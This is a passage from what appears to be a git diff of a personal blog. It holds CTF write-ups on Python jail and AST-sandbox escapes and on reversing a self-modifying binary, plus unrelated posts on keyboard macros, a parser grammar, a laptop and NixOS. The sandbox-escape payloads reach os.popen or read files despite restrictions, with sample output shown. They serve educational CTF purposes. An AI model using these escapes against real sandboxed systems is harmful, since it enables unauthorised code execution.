||||
itself. After accessing the `os` module, we can invoke its methods. Here `id` the command being executed on the system.
|
||||
|
||||
Let's try it out.
|
||||
|
||||
```
|
||||
Traceback (most recent call last):
|
||||
File "<stdin>", line 1, in <module>
|
||||
AttributeError: 'wrapper_descriptor' object has no attribute '__globals__'
|
||||
```
|
||||
|
||||
*What!? Does it not work?*
|
||||
|
||||
|
||||
I noticed a similar behavior in CTFs that had python jails. It turns out that the index of the `warnings.catch_warnings`
|
||||
class varies from one version to the other in python. A better idea would be if we dynamically picked the class from
|
||||
the `''.__class__.__base__.__subclasses__()` list instead of hardcoding the index as `141`.
|
||||
|
||||
We can modify the gadget like so:
|
||||
|
||||
```python
|
||||
next(
|
||||
filter(
|
||||
lambda x: 'catch_warnings' == x.__name__,
|
||||
''.__class__.__base__.__subclasses__()
|
||||
)
|
||||
).__init__
|
||||
.__globals__['sys']
|
||||
.modules['os']
|
||||
.popen('id').read()
|
||||
```
|
||||
which results in the following:
|
||||
```
|
||||
uid=1000(h) gid=1000(h) groups=1000(h),970(docker),998(wheel)
|
||||
```
|
||||
|
||||
This solves the problem but what do we do when the jail restricts access to `warnings.catch_warnings`?
|
||||
|
||||
Expanding upon the aforementioned idea, we can look for other subclasses which make use of `sys`
|
||||
by running the following:
|
||||
```python
|
||||
names = list()
|
||||
for x in ''.__class__.__base__.__subclasses__():
|
||||
if hasattr(x.__init__, '__globals__')
|
||||
and x.__init__.__globals__.get('sys'):
|
||||
names.append(x.__name__)
|
||||
|
||||
from pprint import pprint
|
||||
pprint(names)
|
||||
```
|
||||
|
||||
```python
|
||||
['_ModuleLock',
|
||||
'_DummyModuleLock',
|
||||
'_ModuleLockManager',
|
||||
'ModuleSpec',
|
||||
'FileLoader',
|
||||
'_NamespacePath',
|
||||
'_NamespaceLoader',
|
||||
'FileFinder',
|
||||
'zipimporter',
|
||||
'_ZipImportResourceReader',
|
||||
'IncrementalEncoder',
|
||||
'IncrementalDecoder',
|
||||
'StreamReaderWriter',
|
||||
'StreamRecoder',
|
||||
'_wrap_close',
|
||||
'Quitter',
|
||||
'_Printer',
|
||||
'WarningMessage',
|
||||
'catch_warnings',
|
||||
'_GeneratorContextManagerBase',
|
||||
'_BaseExitStack']
|
||||
```
|
||||
|
||||
Now that we have potential subclasses to latch onto, we can weaponize this.
|
||||
|
||||
The initial plan was to look for any of the above subclasses in the list, get a handle to one
|
||||
of them, thereby executing the system commands.
|
||||
|
||||
```python
|
||||
next(
|
||||
filter(
|
||||
lambda x: x.__name__ in [
|
||||
'_ModuleLock', '_DummyModuleLock',
|
||||
'_ModuleLockManager', 'ModuleSpec',
|
||||
'FileLoader', '_NamespacePath',
|
||||
'_NamespaceLoader', 'FileFinder',
|
||||
'zipimporter', '_ZipImportResourceReader',
|
||||
'IncrementalEncoder', 'IncrementalDecoder',
|
||||
'StreamReaderWriter', 'StreamRecoder',
|
||||
'_wrap_close','Quitter',
|
||||
'_Printer', 'WarningMessage',
|
||||
'catch_warnings',
|
||||
'_GeneratorContextManagerBase',
|
||||
'_BaseExitStack'],
|
||||
''.__class__.__base__.__subclasses__()
|
||||
)
|
||||
).__init__
|
||||
.__globals__['sys']
|
||||
.modules['os']
|
||||
.popen('id').read()
|
||||
```
|
||||
|
||||
However, it would be better if we did not hardcode the values.
|
||||
|
||||
```python
|
||||
next(
|
||||
filter(
|
||||
lambda x:
|
||||
hasattr(
|
||||
x.__init__,
|
||||
'__globals__'
|
||||
)
|
||||
and x.__init__
|
||||
.__globals__
|
||||
.get('sys'),
|
||||
''.__class__
|
||||
.__base__
|
||||
.__subclasses__()
|
||||
)
|
||||
).__init__
|
||||
.__globals__['sys']
|
||||
.modules['os']
|
||||
.popen('id').read()
|
||||
```
|
||||
|
||||
There you have it! This payload will work as long as there is at least one subclass in the subclasses list
|
||||
which makes use of `sys`. With that, our object oriented quest has come to an end.
|
||||
|
||||
Thanks for giving this a read!
|
||||
62
content/post/google-ctf-2022-treebox.md
Normal file
@@ -0,0 +1,62 @@
|
||||
---
|
||||
title: "Treebox"
|
||||
date: 2022-08-19T10:04:36+05:30
|
||||
tags:
|
||||
- Google CTF
|
||||
- CTF
|
||||
- Python
|
||||
- AST
|
||||
- Sandbox Escape
|
||||
draft: false
|
||||
---
|
||||
|
||||
This challenge asks for python code as an input, converts it into an AST (abstract syntax tree) and if there aren't any function calls or imports, executes the code. Our goal here is to avoid explicitly calling any functions yet reading the flag located at `flag`. We also can't import any modules explicitly. If we read the source code provided for the challenge, we can observe that the `sys` module is already imported. We can piggyback on this fact to use its modules.
|
||||
|
||||
We shall, however, first find all the modules in `sys.modules` that have a `get_data` like function in their `__loader__` attribute. To do so, we run the following locally:
|
||||
|
||||
``` python
|
||||
import sys
|
||||
|
||||
for name, handle in sys.modules.items():
|
||||
if loader := getattr(handle, '__loader__'):
|
||||
for loader_function_name in dir(loader):
|
||||
if 'get_data' in loader_function_name:
|
||||
print(f"sys.modules['{name}'].__loader__.{loader_function_name}")
|
||||
```
|
||||
|
||||
From the output we get, this looks the most promising:
|
||||
|
||||
```python
|
||||
sys.modules["os"].__loader__.get_data
|
||||
```
|
||||
|
||||
Now we can slowly assemble our exploit.
|
||||
|
||||
```python
|
||||
import sys
|
||||
|
||||
class Read(BaseException):
|
||||
# Set the addition operator to the str function
|
||||
# so that we can use it to stringify bytes-like
|
||||
# objects.
|
||||
__add__ = str
|
||||
|
||||
# Set the division operator to os.loader.get_data method
|
||||
# which can be used to read the raw bytes from a file.
|
||||
__truediv__ = sys.modules["os"].__loader__.get_data
|
||||
|
||||
# Set the indexing operator to print, which we'll use to
|
||||
# print the flag
|
||||
__getitem__ = print
|
||||
|
||||
def __init__(self):
|
||||
|
||||
# Now we read the raw bytes of the file "flag"
|
||||
# stringify it and finally print it
|
||||
self[self + self / "flag"]
|
||||
|
||||
|
||||
# Raise the exception
|
||||
raise Read
|
||||
|
||||
```
|
||||
172
content/post/headache-reverse-engineering-AmateursCTF-2023.md
Normal file
@@ -0,0 +1,172 @@
|
||||
---
|
||||
title: "Headache"
|
||||
date: 2023-09-07T07:03:27+05:30
|
||||
tags:
|
||||
- AmateursCTF
|
||||
- CTF
|
||||
- Reverse Engineering
|
||||
draft: false
|
||||
---
|
||||
|
||||
This challenge involves reverse engineering a polymorphic binary, one that modifies its own instructions during runtime.
|
||||
|
||||
Essentially, the binary checks if the current character equals a known value and *xor* decrypts the next section where the
|
||||
code jumps to. If the characters don't match, the logic short-circuits and the program exits.
|
||||
|
||||
This process of checking the character and decrypting the next branch continues like opening up a Matryoshka doll until
|
||||
the last branch which returns instead of calling the decryption subroutine.
|
||||
|
||||
To begin, we need to have radare2 installed. Next, we will create a Python virtual environment and install the r2pipe package.
|
||||
|
||||
```sh
|
||||
python -m venv env
|
||||
source env/bin/activate # or activate.fish in my case
|
||||
pip install r2pipe
|
||||
```
|
||||
|
||||
We download the `headache` binary and place the following script in our working directory:
|
||||
|
||||
```python
|
||||
import sys
|
||||
import shutil
|
||||
import binascii
|
||||
import r2pipe
|
||||
from dataclasses import dataclass
|
||||
import struct
|
||||
from typing import Optional
|
||||
import os
|
||||
|
||||
if os.path.exists('headache_patched'):
|
||||
os.unlink("headache_patched")
|
||||
shutil.copy('headache', 'headache_patched')
|
||||
r2 = r2pipe.open("headache_patched", flags=['-w'])
|
||||
|
||||
@dataclass
|
||||
class Formula:
|
||||
a: int
|
||||
b: int
|
||||
xor: int
|
||||
|
||||
def apply(self, flag):
|
||||
a_exists = flag[self.a] is not None
|
||||
b_exists = flag[self.b] is not None
|
||||
|
||||
if a_exists and not b_exists:
|
||||
result = flag[self.a] ^ self.xor
|
||||
if not valid_character(result):
|
||||
return
|
||||
flag[self.b] = result
|
||||
|
||||
elif b_exists and not a_exists:
|
||||
result = flag[self.b] ^ self.xor
|
||||
if not valid_character(result):
|
||||
return
|
||||
flag[self.a] = result
|
||||
|
||||
|
||||
def unravel(base: int) -> (int, Optional[Formula]):
|
||||
r2.cmd("af-")
|
||||
r2.cmd("s {}".format(hex(base)))
|
||||
r2.cmd("af")
|
||||
|
||||
pdr = r2.cmd("pi 10")
|
||||
try:
|
||||
r2.cmd("s +3")
|
||||
exec(r2.cmd("pcp 1"), globals())
|
||||
a = ord(buf)
|
||||
|
||||
r2.cmd("s +3")
|
||||
b = 0
|
||||
exec(r2.cmd("pcp 1"), globals())
|
||||
if buf == b'\x7f':
|
||||
r2.cmd("s +1")
|
||||
exec(r2.cmd("pcp 1"), globals())
|
||||
b = ord(buf)
|
||||
|
||||
r2.cmd("s +4")
|
||||
exec(r2.cmd("pcp 1"), globals())
|
||||
x = ord(buf)
|
||||
f = Formula(a, b, x)
|
||||
except:
|
||||
base, None
|
||||
|
||||
jump_index = pdr.find("je ")
|
||||
|
||||
pdr = pdr[jump_index + 3:]
|
||||
other_block = pdr[:8]
|
||||
r2.cmd("s 0x" + other_block)
|
||||
r2.cmd("af-")
|
||||
r2.cmd("af")
|
||||
|
||||
# mov eax == b8 (one byte)
|
||||
r2.cmd("s +1")
|
||||
|
||||
exec(r2.cmd("pcp 4"), globals())
|
||||
xor_key = buf
|
||||
|
||||
r2.cmd("s +8")
|
||||
# lea address is now in buf
|
||||
exec(r2.cmd("pcp 4"), globals())
|
||||
mutating_fn = struct.unpack("<I", buf)[0]
|
||||
if mutating_fn == 0xffffffff:
|
||||
return base, None
|
||||
|
||||
r2.cmd("s " + hex(mutating_fn))
|
||||
while True:
|
||||
exec(r2.cmd("pcp 4"), globals())
|
||||
recovered = bytearray(x ^ y for x, y in zip(buf, xor_key))
|
||||
unpacked = struct.unpack("<I", recovered)[0]
|
||||
r2.cmd('wv {}'.format(unpacked))
|
||||
r2.cmd("s +4")
|
||||
if recovered == xor_key:
|
||||
break
|
||||
|
||||
return mutating_fn, f
|
||||
|
||||
formulas = []
|
||||
|
||||
next_addr = 0x401290
|
||||
while next_addr != 0x40261c:
|
||||
next_addr, formula = unravel(next_addr)
|
||||
if formula is None:
|
||||
r2.quit()
|
||||
r2 = r2pipe.open("headache_patched", flags=['-w'])
|
||||
continue
|
||||
print(hex(next_addr))
|
||||
formulas.append(formula)
|
||||
|
||||
|
||||
charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_"
|
||||
|
||||
def valid_character(c: int):
|
||||
return c < 256 and chr(c) in charset
|
||||
|
||||
|
||||
flag = [None] * 61
|
||||
for i, c in enumerate(map(ord, "amateursCTF{")):
|
||||
flag[i] = c
|
||||
|
||||
flag[-1] = ord('}')
|
||||
|
||||
while not all(flag):
|
||||
for formula in formulas:
|
||||
formula.apply(flag)
|
||||
|
||||
print(''.join(map(chr, flag)))
|
||||
|
||||
```
|
||||
|
||||
Note that we begin our binary parsing from the address `0x401290` since that is where the first condition and subsequent decryptions begin.
|
||||
We also allocate a list of 61 `None` singletons since the program exits if the input has a length other than 61.
|
||||
|
||||
Finally, we can run our script.
|
||||
|
||||
```sh
|
||||
python main.py
|
||||
```
|
||||
|
||||
Since Python is quite slow and my solution is not elegant, it will take anywhere between 2 to 4 minutes to decrypt all the sections. After this, we get the flag.
|
||||
|
||||
```
|
||||
amateursCTF{i_h4v3_a_spli77ing_headache_1_r3qu1re_m04r_sl33p}
|
||||
```
|
||||
90
content/post/how-i-use-swhkd-in-my-workflow.md
Normal file
@@ -0,0 +1,90 @@
|
||||
---
|
||||
title: "How I Use SWHKD in My Workflow"
|
||||
date: 2024-08-01T17:17:31+05:30
|
||||
tags:
|
||||
- SWHKD
|
||||
- Waycrate
|
||||
- Wayland
|
||||
- Google Summer of Code
|
||||
- Workflow
|
||||
- Video Editing
|
||||
draft: false
|
||||
---
|
||||
|
||||
SWHKD is the project that I have been working on for the past few months as a part of Google Summer of Code for this year.
|
||||
Now that we are done with the development process, I want to talk about why I wanted to improve the project. Although
|
||||
the easy answer is to get paid or to get a more production facing OSS development experience,
|
||||
for me, the most important driving force is using it in my own workflow.
|
||||
|
||||
In hindsight, I should have talked about this earlier. You
|
||||
see, I have been editing videos for my YouTube channel since March of this year. Granted, I take quite some time to churn out an entire video since
|
||||
I am the only person in my _"team"_. Meaning, I have to perform all of the steps in the pipeline: the research, script, animations,
|
||||
voiceover and video editing.
|
||||
|
||||
At some point, the frustration kicked in when I found myself doing the smallest of actions in my editor using
|
||||
the cursor. While the cursor can be a nice tool in many cases, some actions like removing the space between two clips are better
|
||||
suited for keyboard shortcuts. So that week, I learned the keybindings of my video editor, Kdenlive.
|
||||
|
||||
I also changed the keybindings for a lot of actions like snapping the playhead to the start or end of a clip as `a` and `d` respectively.
|
||||
I borrowed quite a bit of the movement keybinds from gaming since, just like gaming, my left hand is on the left half of the keyboard
|
||||
but the right hand is controlling the mouse pointer.
|
||||
|
||||
> Tip: Avoid shortcuts that require you to raise your hand. Raising your hands adds friction in the way of video editing.
|
||||
|
||||
My biggest gripe is that till date, there is no way to record multiple operations and bind then to a keyboard shortcut.
|
||||
|
||||
## Enter SWHKD
|
||||
|
||||
To make my workflow as fast as possible, I have an entire config to perform these recorded _"macros"_ with at shortcuts involving at most two keys.
|
||||
|
||||
Take the example of a ripple cut which involves removing the part of the clip before the playhead ...
|
||||
|
||||

|
||||
|
||||
... and shift the rest of the clips back to where the original one started.
|
||||
|
||||

|
||||
|
||||
With my current setup of Kdenlive, I have to perform 3 keypresses back to back to do this:
|
||||
- `r` to use the ripple tool
|
||||
- `q` to make the cut and perform the shift
|
||||
- `s` to go back to using the selection tool
|
||||
|
||||
However, SWHKD combined with `ydotool` allows me to do this in a single (or two depending upon how you seen it) keypress of `Shift` `Q`.
|
||||
|
||||
Whenever I'm editing a video, I'll launch a script that start `swhkd` with my Kdenlive config.
|
||||
|
||||
```bash
|
||||
swhks &
|
||||
sudo sh -c "(ydotoold -P 0622 &);"
|
||||
pkexec swhkd --config $PWD/kdenlive.swhkd
|
||||
```
|
||||
|
||||
The Kdenlive config defines a mode which I have to explicitly enter using `Super` `k` at the start of video editing so that at some point
|
||||
of time, if I get derailed into research, I can exit the mode with the same keypress.
|
||||
|
||||
```
|
||||
mode kdenlive
|
||||
shift + q
|
||||
# 19, 16, 31 = r, q, s
|
||||
sleep 1 && \
|
||||
YDOTOOL_SOCKET=/tmp/.ydotool_socket ydotool key 19:1 19:0 && \
|
||||
YDOTOOL_SOCKET=/tmp/.ydotool_socket ydotool key 16:1 16:0 && \
|
||||
YDOTOOL_SOCKET=/tmp/.ydotool_socket ydotool key 31:1 31:0
|
||||
super + k
|
||||
notify-send "exiting kdenlive mode" && @escape
|
||||
endmode
|
||||
```
|
||||
|
||||
Inside the mode, when I press `Shift` `Q`, the input event codes for the
|
||||
respective keys are sent using `ydotool` and I get a pretty seamless experience.
|
||||
Of course you can extend this to whatever actions you find yourself performing
|
||||
most often while editing videos or any other task for that matter. To save you
|
||||
the trouble of searching for the input codes like 19, 16 and 31 used here, check
|
||||
out this [kernel source file](https://elixir.bootlin.com/zephyr/v3.7.0/source/include/zephyr/dt-bindings/input/input-event-codes.h) which defines the input
|
||||
event codes for keys and mouse buttons. Also, yes there is a small delay you should
|
||||
keep before sending other keys because I have often found my input overlap with the
|
||||
scripted keypresses.
|
||||
|
||||
Okay that's about it for now, hope you enjoyed this little sneak peek into how I'm making
|
||||
my videos. Bye!
|
||||
123
content/post/humans-suck-at-command-sanitization.md
Normal file
@@ -0,0 +1,123 @@
|
||||
---
|
||||
title: "Humans Suck at Command Sanitization"
|
||||
date: 2024-07-17T07:55:34+05:30
|
||||
tags:
|
||||
- EBNF
|
||||
- Google Summer of Code
|
||||
- Rust
|
||||
- SWHKD
|
||||
- Waycrate
|
||||
- Wayland
|
||||
draft: false
|
||||
---
|
||||
|
||||
Hello and welcome to the eighth instalment in the series where we build a parser
|
||||
for a domain specific language in Rust. I’d highly recommend going through the
|
||||
previous articles to make sense of what we’ll talk about today.
|
||||
|
||||
Previously, we had built the scaffolding for modes to bind shortcuts to. Today,
|
||||
we'll create the mechanism to invoke commands in the contexts of the modes that
|
||||
can be built.
|
||||
|
||||
Now, SWHKD has a clever way to enter (and escape) mode contexts with inside commands
|
||||
by chaining subcommands and mode instructions with double ampersands. Consider the following example:
|
||||
|
||||
```
|
||||
super + a
|
||||
ls && @enter mysecretmode && cowsay 'hehe' && @escape
|
||||
```
|
||||
|
||||
In the command for the above binding, we'll run the `ls` command followed by a double ampersand.
|
||||
Anything following a double ampersand can either be a normal command or a mode instruction beginning
|
||||
with an `@` sign. In our case, we have a mode instruction that asks the daemon to enter `mysecretmode`,
|
||||
then we run the `cowsay` command and subsequently escape the mode using the `@escape` instruction.
|
||||
|
||||
Our goal for today is to modify the behavior of the command expression to account for this behavior.
|
||||
Recall that we had already baked in the shorthand functionality into the command expression. Thus,
|
||||
we need to be extra careful whem implementing this new behavior.
|
||||
|
||||
Since we'll need to negate the double ampersands because of the greedy algorithm used by pest, let's create
|
||||
an expression for the double ampersands instead of having to use the literal string everywhere.
|
||||
|
||||
```
|
||||
command_double_ampersand = { "&&" }
|
||||
```
|
||||
|
||||
First, let's create a model for a standalone subcommand that is neither a shorthand nor a mode instruction.
|
||||
|
||||
```
|
||||
command_standalone = { (!shorthand_bounds ~ !command_double_ampersand ~ not_newline)+ }
|
||||
```
|
||||
|
||||
Now any chunk that translates into a command after _"compilation"_ is placed under the wrapper expression of
|
||||
a `command_chunk`.
|
||||
|
||||
```
|
||||
command_chunk = _{ command_shorthand | command_standalone }
|
||||
```
|
||||
|
||||
This includes the `command_standalone` expression since it compiles to itself without any
|
||||
changes as well as the `command_shorthand` expression since it compiles into multiple variants of a subcommand.
|
||||
Read the previous posts to see how those are implemented.
|
||||
|
||||
Now let's model the mode instructions. The `@enter` instruction requires a modename to actually enter. Thus, we'll
|
||||
enforce that rule in the grammar as well.
|
||||
|
||||
```
|
||||
enter_mode = { "@enter" ~ WHITESPACE ~ modename }
|
||||
```
|
||||
|
||||
The `@escape` instruction on the other hand requires no modename since it just escapes the current mode.
|
||||
|
||||
```
|
||||
escape_mode = { "@escape" }
|
||||
```
|
||||
|
||||
Now to merge these two into a single expression, we'll make sure to trim off any excess whitespace between these
|
||||
instructions and the double ampersands with a `WHITESPACE?` expression.
|
||||
|
||||
```
|
||||
mode_instruction = _{ WHITESPACE? ~ (enter_mode | escape_mode) ~ WHITESPACE? }
|
||||
```
|
||||
|
||||
Contrary to these instructions, a standalone command or command shorthand will not trim any spaces since we can't
|
||||
make any assumptions over whether the spaces are actually significant to the execution of the command itself.
|
||||
|
||||
Now anything between the double ampersands can either be a mode instruction or one or more of these command chunks.
|
||||
|
||||
```
|
||||
command_chunks_or_mode = _{ mode_instruction | (command_chunk*) }
|
||||
```
|
||||
|
||||
The underscores before some of these expressions mean that they aren't public to the code side and are more of a
|
||||
convenience for what we're about to build next. Finally, we can build an expression for a single line of command.
|
||||
|
||||
```
|
||||
command_line = _{ command_chunks_or_mode ~ (command_double_ampersand ~ command_chunks_or_mode)* }
|
||||
```
|
||||
|
||||
Since a binding definition will always have the command indented with spaces, most text editors as well as a general
|
||||
sense would suggest that multiline commands must also have each of their lines indented. Consider the same example
|
||||
as before except that each subcommand is put on a new line.
|
||||
|
||||
```
|
||||
super + a
|
||||
ls \
|
||||
&& @enter mysecretmode \
|
||||
&& cowsay 'hehe' \
|
||||
&& @escape
|
||||
```
|
||||
|
||||
Notice the lines have equal indentation. For such multiline commands, we'll write a final expression to trim the
|
||||
leading spaces for the commands to retain their semantics.
|
||||
|
||||
```
|
||||
command = ${ NEWLINE ~ WHITESPACE+ ~ command_line ~ (escape_lf ~ WHITESPACE+ ~ command_line)* }
|
||||
```
|
||||
|
||||
The newline and whitespace is what comes immediately after a binding declaration (here, `super + a`). This is followed by a
|
||||
line of command that can be run. The `WHITESPACE+` between the escaped line feed (trailing slash and newline) and the next
|
||||
line of command is what trims out the leading spaces.
|
||||
|
||||
Okay, that was all for now. In the next post, I'll elaborate on how to extract these mode instructions sprinkled throughout
|
||||
commands in the code side of this endeavor. See you around.
|
||||
@@ -0,0 +1,103 @@
|
||||
---
|
||||
title: "I Solemnly Swear to Never Buy a Gaming Laptop Again"
|
||||
date: 2024-06-07T17:01:01+05:30
|
||||
draft: false
|
||||
tags:
|
||||
- Workflow
|
||||
- Rant
|
||||
- Linux
|
||||
- Laptops
|
||||
- Kernel Modules
|
||||
---
|
||||
|
||||
Around half a decade ago, I bought an Asus gaming laptop, one I'm currently using to write this article.
|
||||
Although it came preinstalled with Windows, I never let it even boot and instead opted for linux. Bill Gates can cry a river.
|
||||
|
||||
Despite switching distros multiple times, one sporadical issue my setup suffered from
|
||||
was the wireless card dying after a few minutes of booting the box. The only solution to this was to reboot my computer, classic!
|
||||
|
||||

|
||||
|
||||
The wireless card in question was a Realtek card (of course it has to be those clowns) handled by the `rtw88_8822ce` kernel module
|
||||
under the `rtw88_pci` namespace. Scouring through online forums, I discovered that these clowns were so clever, they
|
||||
engineered their WiFi cards to enter low power or sleep mode when it thinks the card is not in use. Some forums stated that this behavior
|
||||
could be disabled by changing the kernel parameters. To do this, I needed to look for available kernel parameters using the
|
||||
`modinfo` command. Finding the name of the kernel module in question can be a hit or miss. I found reading the description of the modules
|
||||
from the `lsmod` command to be reliable.
|
||||
|
||||
After finding out the module, `rtw88_pci` in my case, you can run `modinfo` to learn the details of the kernel parameters.
|
||||
|
||||
```sh
|
||||
modinfo rtw88_pci
|
||||
```
|
||||
|
||||
```
|
||||
filename: /run/booted-system/kernel-modules/lib/modules/6.6.32/kernel/drivers/net/wireless/realtek/rtw88/rtw88_pci.ko.xz
|
||||
license: Dual BSD/GPL
|
||||
description: Realtek PCI 802.11ac wireless driver
|
||||
author: Realtek Corporation
|
||||
depends: rtw88_core,mac80211
|
||||
retpoline: Y
|
||||
intree: Y
|
||||
name: rtw88_pci
|
||||
vermagic: 6.6.32 SMP preempt mod_unload
|
||||
parm: disable_msi:Set Y to disable MSI interrupt support (bool)
|
||||
parm: disable_aspm:Set Y to disable PCI ASPM support (bool)
|
||||
```
|
||||
|
||||
Here, the `disable_msi` parameter can be used to disable [MSI](https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-message-signaled-interrupts), which is a PCI message signaled interrupt system alternative to line
|
||||
based interrupts. The `disable_aspm` similarly disables ASPM (Active State Power Management) which _"saves power"_ when my system is _"idle"_.
|
||||
Gee thanks, I hate it.
|
||||
|
||||
The network card deaths became more sporadic after setting `disable_aspm` to `Y` but they were not completely eliminated. Another bonus is my
|
||||
computer straight up lagging when these devices die. Why? Because this:
|
||||
|
||||
> While ASPM brings a reduction in power consumption, it can also result in increased latency as the serial bus needs to be 'woken up' from low-power mode, possibly reconfigured and the host-to-device link re-established. This is known as ASPM exit latency and takes up valuable time which can be annoying to the end user if it is too obvious when it occurs.
|
||||
>
|
||||
> \- Wikipedia
|
||||
|
||||
How could I confirm this? Take a look at the output of the `dmesg` command:
|
||||
|
||||
```
|
||||
[ 392.656276] rtw_8822ce 0000:04:00.0: failed to poll offset=0x5 mask=0x2 value=0x0
|
||||
[ 392.656312] rtw_8822ce 0000:04:00.0: mac power on failed
|
||||
[ 392.656317] rtw_8822ce 0000:04:00.0: failed to power on mac
|
||||
[ 394.755267] rtw_8822ce 0000:04:00.0: failed to poll offset=0x5 mask=0x2 value=0x0
|
||||
[ 394.755330] rtw_8822ce 0000:04:00.0: mac power on failed
|
||||
[ 394.755348] rtw_8822ce 0000:04:00.0: failed to power on mac
|
||||
```
|
||||
|
||||
The driver is `rtw88_8822ce` and the logs say that there was a failure in
|
||||
powering the card on. In the end, I just bought an external USB 2.0 network card
|
||||
and blacklisted the kernel modules for the builtin card in my NixOS config.
|
||||
|
||||
```nix
|
||||
boot.blacklistedKernelModules = [ "rtw88_8822ce" ];
|
||||
```
|
||||
|
||||
Another related problem was the WiFi strength itself. With the honking GTX 1650
|
||||
of a GPU shoehorned into a small form factor, the electromagnetic induction
|
||||
caused by the GPU also deteriorated the signal strength. I mean, what was I
|
||||
thinking back when I bought this? I knew I was going to use Linux because I
|
||||
distinctly remember my previous Arch + i3wm. The reason behind a gaming laptop
|
||||
was not to play games, Linux did not have great tooling for gaming then. No, I
|
||||
needed the beefy GPU to crack password hashes for capture the flag challenges
|
||||
😉. In retrospect, social engineering and educated guesses turned out to be a
|
||||
way less resource intensive means to, ahem, crack password hashes.
|
||||
|
||||
Speaking of the GPU, I severly underestimated how heavy it would make the box. If not for the shape of the laptop, I could easily use
|
||||
it for weights during workouts.
|
||||
|
||||
Lastly, the battery life for gaming laptops suck in general. This is why I'm sticking to lightweight environments for now: window managers like i3 and sway or desktop environments like
|
||||
XFCE, Cosmic Epoch and KDE. KDE by far is the least resource intensive for the features it provides out of the box. I use it with the vanilla settings apart from the left sidebar.
|
||||
It is quite the bang for the buck, considering most of you will donate to the devs anyways.
|
||||
|
||||

|
||||
|
||||
In conclusion, I don't recommend gaming laptops to developers and leet haxxors. You don't need that GPU horsepower.
|
||||
The clowns at Realtek produce such hot garbage that I wish their stocks plummet.
|
||||
Instead, try out the newer ARM devices. They are power efficient and performant. If I have to migrate to a different setup, I'd
|
||||
probably choose laptops from Framework or System76. Both of these companies make their hardware repairable,
|
||||
respect user freedom and support Linux out of the box. I'm looking for a setup that would last another decade, [ship of Theseus](https://en.wikipedia.org/wiki/Ship_of_Theseus) style.
|
||||
**This is not a sponsored article**, all stated opinions are mine and mine alone. I did not get paid to endorse Framework
|
||||
or System76. I just like what they are doing and I recommend saving up a bit to buy one of their builds.
|
||||
71
content/post/i-switched-to-nixos.md
Normal file
@@ -0,0 +1,71 @@
|
||||
---
|
||||
title: "I Switched to NixOS"
|
||||
date: 2023-07-08T09:29:34+05:30
|
||||
tags:
|
||||
- Meta
|
||||
- Workflow
|
||||
- NixOS
|
||||
draft: false
|
||||
---
|
||||
|
||||
Hi. It's been quite a while since I had last posted. I had been spending my time on some programming projects that withheld me from even participating in CTFs.
|
||||
Tired of this workflow that I somehow spiraled into, I'm now seeking to learn new things in an attempt to break out of this workflow.
|
||||
|
||||
# The End of an Overarching Journey
|
||||
|
||||
As any of my long time audience might be familiar with, I daily drove [Arch Linux](https://archlinux.org). A very flexible distribution, Arch allows beginners to get a good grasp of the
|
||||
Linux way of doing things. It has an amazing package manager as well as [a user repository](https://aur.archlinux.org) for extra software unavailable in the official repositories. It's rather
|
||||
easy to setup Arch for gaming, thanks to programs like [Lutris](https://lutris.net/) and [Bottles](https://usebottles.com/).
|
||||
|
||||
The terminal user interface [installer](https://github.com/archlinux/archinstall) shipped by default has come a long way since its inception and I'm certain that it has made Arch way more beginner friendly than how it was five years ago.
|
||||
Albeit, this claim is slightly biased since I've been a contributor to the installer for some time now.
|
||||
|
||||
I felt that Arch was the endgame. Clearly, it had all the tooling I needed to have a streamlined workflow except for a few hiccups here and there.
|
||||
|
||||
That all changed now, I ditched Arch for NixOS.
|
||||
|
||||
# Justifications for switching to NixOS
|
||||
|
||||
Let's talk about the hiccups I faced when using Arch Linux.
|
||||
|
||||
## Atomic Updates
|
||||
|
||||
There were some instances following an update to my system where I'd encounter the strangest of problems that even Stack Overflow had no answers to.
|
||||
I now had an answer, not to the problems individually but to what might have caused them. Unsuccessful updates. A plethora of circumstances including
|
||||
power outages, batteries dying, unstable network connections and conversely corrupted package downloads would cause some packages to get overwritten
|
||||
midway through the extraction process resulting in all the aforementioned problems.
|
||||
|
||||
In NixOS, all the packages of an update are extracted onto a separate layer from the current working system. The new layer is only available for use
|
||||
when the entirety of the update has been transacted. This implies, any of the ill circumstances I talked about would completely cancel the transaction
|
||||
and the new layer would be unavailable for use. This is what is referred to as atomic updates. The update either happens completely, or it does not
|
||||
happen at all. There is no in-between.
|
||||
|
||||
## Generations
|
||||
|
||||
The atomicity does not stop at the updates. Whenever we install one or more packages in NixOS, those changes are built on a different layer. These
|
||||
layers are termed generations. The idea is that if a package causes the system to break because of some software bug, the user can revert to an
|
||||
older generation that functioned as inteneded. The entire operating system runs an immutable base so that the user cannot accidentally modify a
|
||||
system binary and shoot themselves in the foot.
|
||||
|
||||
## `configuration.nix`
|
||||
|
||||
The final piece to the puzzle was reporducibility. Every time I reinstalled Arch due to one of the described problems, it would be extremely difficult
|
||||
to recall all the extra tools I installed on the previous iterations. The results being a minimal install that amassed baggage every time I realized
|
||||
in frustration that the tool I needed at the moment was not installed.
|
||||
|
||||
NixOS runs the Nix package manager. The entire system can be defined using a single file known as `configuration.nix`. This file is written in a declarative,
|
||||
functional, lazily evaluated programming language aptly called `nix`. The options in the configuration file vary from bootloader options, networking and users
|
||||
to edge case situations like installing Nvidia drivers or replacing `sudo` with `doas`. This config file can be separated into multiple files if deemed necessary.
|
||||
|
||||
Deploying these configuration on any computer that can run NixOS would result in the same build every time. No more frustration in recalling packages
|
||||
I would need for my workflow, it's all defined centrally inside `configuration.nix`.
|
||||
|
||||
# Conclusion
|
||||
|
||||
It has been around a week since I started using NixOS. Although I am in no way an expert in the `nix` language, I find it very intuitive to work with.
|
||||
The whole learning experience as well as daily driving NixOS has been very enjoyable. I still think Arch is a great disto for beginners to undestand Linux but NixOS felt like the next logical step moving from Arch Linux.
|
||||
|
||||
If you find yourself inspired after reading this article, check out this article called [NixOS for the impatient](https://borretti.me/article/nixos-for-the-impatient) as well the [official NixOS website](https://nixos.org/)
|
||||
to get started. Once you have a rough idea, you could check out [my own NixOS configuration files](https://github.com/lavafroth/dotfiles). Maybe you can incorporate a part of the config you find interesting into your own.
|
||||
|
||||
Happy Nixing!
|
||||
174
content/post/keep-the-keys-clackin.md
Normal file
@@ -0,0 +1,174 @@
|
||||
---
|
||||
title: "Keep the Keys Clackin'"
|
||||
date: 2024-05-27T08:59:29+05:30
|
||||
tags:
|
||||
- EBNF
|
||||
